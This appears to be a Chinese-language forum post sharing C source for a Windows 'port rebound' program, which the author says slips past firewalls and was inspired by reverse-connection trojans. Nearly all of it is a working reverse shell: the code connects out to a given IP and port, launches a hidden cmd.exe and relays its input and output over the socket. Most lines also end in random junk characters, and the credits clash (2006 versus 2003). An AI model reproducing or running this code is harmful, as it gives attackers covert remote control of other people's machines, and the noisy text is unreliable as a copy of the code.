Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 )sqp7["-  
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/* ============================== 42b=z//;  
Rebound port in Windows NT t?Njw7  
By wind,2006/7 2Q`PUXj  
===============================*/ y4)ZUv,}  
#include HlOAo:8'  
#include =Ov;'MC  
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#pragma comment(lib,"wsock32.lib") l\A}lC0?J  
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void OutputShell(); ;Wfv+]n9  
SOCKET sClient; l"~h1xk~  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; vJ#rW8y  
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void main(int argc,char **argv) N>F2 c)rm  
{ On2Vf*G@|  
WSADATA stWsaData; kG|>_5  
int nRet; )|59FOWg  
SOCKADDR_IN stSaiClient,stSaiServer; dcrJ,>i}  
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if(argc != 3) b}EYNCw_7S  
{ ~,M;+T}[r  
printf("Useage:\n\rRebound DestIP DestPort\n"); Kc-A-P &Ry  
return; MZ|c7f&`  
} 
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WSAStartup(MAKEWORD(2,2),&stWsaData); ~,`\D7Z3  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); w'5dk3$"  
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stSaiClient.sin_family = AF_INET; (A
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stSaiClient.sin_port = htons(0); g O\f:Pg  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); qI4R`P"  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ]uk
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{ JJbM)B@-  
printf("Bind Socket Failed!\n"); :`Zl\!]E`o  
return; $+)x)1  
} t<EX#_i,  
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stSaiServer.sin_family = AF_INET; EkgN6S`}  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); BHRrXC\  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 8YJqM,t5)  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) _6QLnr&@j  
{ zYgK$u^H  
printf("Connect Error!");
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return; oN1wrf}Sh  
} l66ipgw_^I  
OutputShell(); no\}aTx  
} ;>QK}
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void OutputShell() Tr}$Pb1  
{ NNREt:+kr  
char szBuff[1024]; 9{]r+z:  
SECURITY_ATTRIBUTES stSecurityAttributes; ay7+H7^|hZ  
OSVERSIONINFO stOsversionInfo; *{D:1S
  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; !tFU9Zt  
STARTUPINFO stStartupInfo; V"Y F
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char *szShell; |0vHy7CE  
PROCESS_INFORMATION stProcessInformation; [#3Cg%V  
unsigned long lBytesRead; C}DG'z9  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); e&a[k  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Spr:K,  
stSecurityAttributes.lpSecurityDescriptor = 0; !\D]\|Bo  
stSecurityAttributes.bInheritHandle = TRUE; iw]BQjK  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); IG3K Pmu  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); qNQ3(1xW  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 2zrWR%B  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; VkP:%-*#v  
stStartupInfo.wShowWindow = SW_HIDE; Xm:gD6;9  
stStartupInfo.hStdInput = hReadPipe; Iy1XnS*  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; s%TO(vT  
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GetVersionEx(&stOsversionInfo); U*+!w@ .  
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switch(stOsversionInfo.dwPlatformId) Z@aL"@2]a  
{ RxDxLU2kt  
case 1: yfw>y=/p  
szShell = "command.com"; KlX |PQ  
break; cwD*>[j  
default: I>4Tbwy.-  
szShell = "cmd.exe"; /Geks/  
break; Qmc;s{-r;  
} @v-)|8GdY  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); m=y,_Pz>U  
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send(sClient,szMsg,77,0); Z-sN4fr a  
while(1) v.^ 'x  
{ kKk 
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PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); &u`rE""  
if(lBytesRead) #?|1~HC  
{ 'hHX"\|RA  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 2Q_{2(nQb  
send(sClient,szBuff,lBytesRead,0); GHsdLe=t0#  
} !vo'8r?&  
else ][K8\  
{ g}og@UY7#  
lBytesRead=recv(sClient,szBuff,1024,0);  IOES3  
if(lBytesRead<=0) break; wbF1>{/
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WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); DBh/V#* D  
} ^)P5(fJ  
} I8oKa$RF  
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return; '*{Rn7B5  
}